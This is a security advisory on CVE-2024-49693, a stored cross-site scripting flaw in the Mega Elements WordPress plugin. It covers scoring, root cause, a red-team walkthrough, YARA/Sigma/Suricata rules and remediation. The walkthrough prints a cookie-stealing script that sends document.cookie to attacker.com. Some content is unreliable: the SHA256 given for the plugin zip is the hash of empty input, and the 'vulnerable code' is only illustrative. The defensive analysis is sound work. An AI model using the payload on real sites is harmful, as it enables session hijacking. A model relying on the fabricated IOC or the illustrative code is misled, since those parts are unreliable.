CVE-2024-49693

Executive Summary

CVE-2024-49693 is a Stored Cross-Site Scripting (XSS) vulnerability in the Mega Elements WordPress plugin (mega-elements-addons-for-elementor) by Kraftplugins, affecting versions up to and including 1.2.6. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts, which are then executed when other users (including administrators) view the compromised content. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

Given the plugin’s nature as a WordPress addon, this issue is squarely within the WordPress ecosystem and does not involve Apache or Nginx server misconfigurations. The lack of a vendor patch and the low EPSS score (0.0%) suggest limited active exploitation, but the risk remains significant for sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. No package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch exists, users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing attacks against site administrators.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s widget rendering logic, specifically in the mega-elements-addons-for-elementor plugin. The plugin fails to sanitize or escape user-supplied input (e.g., widget titles, descriptions, or custom attributes) before storing it in the WordPress database. When the Elementor page builder renders the widget, the unsanitized input is output directly into the HTML, allowing JavaScript execution.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses_post() on user-controlled fields. For example, a widget’s “Title” field might be output as:

echo '<h2>' . $title . '</h2>';

Instead of:

echo '<h2>' . esc_html( $title ) . '</h2>';

Attack Flow:

1. Attacker logs in as a Contributor or higher.
2. Creates or edits a page/post using Elementor with a Mega Elements widget.
3. Injects malicious JavaScript into a widget field (e.g., <script>alert('XSS')</script>).
4. Saves/publishes the page.
5. When an admin or other user views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (mega-elements-addons-for-elementor <= 1.2.6):

// In widget output function
public function render() {
    $title = $this->get_settings('title');
    echo '<div class="mega-widget">';
    echo '<h2>' . $title . '</h2>'; // No sanitization
    echo '</div>';
}

Patched Code (Hypothetical):

public function render() {
    $title = $this->get_settings('title');
    echo '<div class="mega-widget">';
    echo '<h2>' . esc_html( $title ) . '</h2>'; // Properly escaped
    echo '</div>';
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Mega Elements plugin <= 1.2.6
• Contributor-level account or higher

Step-by-Step Exploitation:

1. Log in to WordPress as a Contributor.
2. Create a new page or post.
3. Edit with Elementor.
4. Add a Mega Elements widget (e.g., “Heading” or “Title”).
5. In the widget’s title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Publish the page.
7. When an admin visits the page, the script executes, exfiltrating their session cookie.

Proof-of-Concept Payload:

<script>alert(document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget content in Elementor pages.
• Look for <script> tags in post/page content via database queries:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests.

Hardening:

• Remove or disable the Mega Elements plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict contributor roles from using Elementor if not needed.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • mega-elements-addons-for-elementor.zip (version 1.2.6): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with XSS payloads.
• Database Indicators:
  • wp_posts table entries containing <script> tags in post_content.
  • wp_postmeta entries with _elementor_data containing malicious JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_49693_Mega_Elements_XSS {
    meta:
        description = "Detects stored XSS payloads in Mega Elements plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49693"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/s
        $plugin_path = "mega-elements-addons-for-elementor"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS via Mega Elements Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Mega Elements plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=elementor_ajax'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49693 - Stored XSS in Mega Elements Plugin"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete mega-elements-addons-for-elementor from the WordPress admin panel.
2. Scan for compromise – Use a security plugin (e.g., Wordfence) to scan for injected scripts in posts/pages.
3. Review user roles – Ensure only trusted users have Contributor+ access.

Long-Term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Monitor the vendor’s website for an official update.
• Consider replacing the plugin with an alternative (e.g., Elementor Pro or other well-maintained addons).

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.
• Use a Content Security Policy (CSP) header:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

Valters IT
Securing Digital Frontiers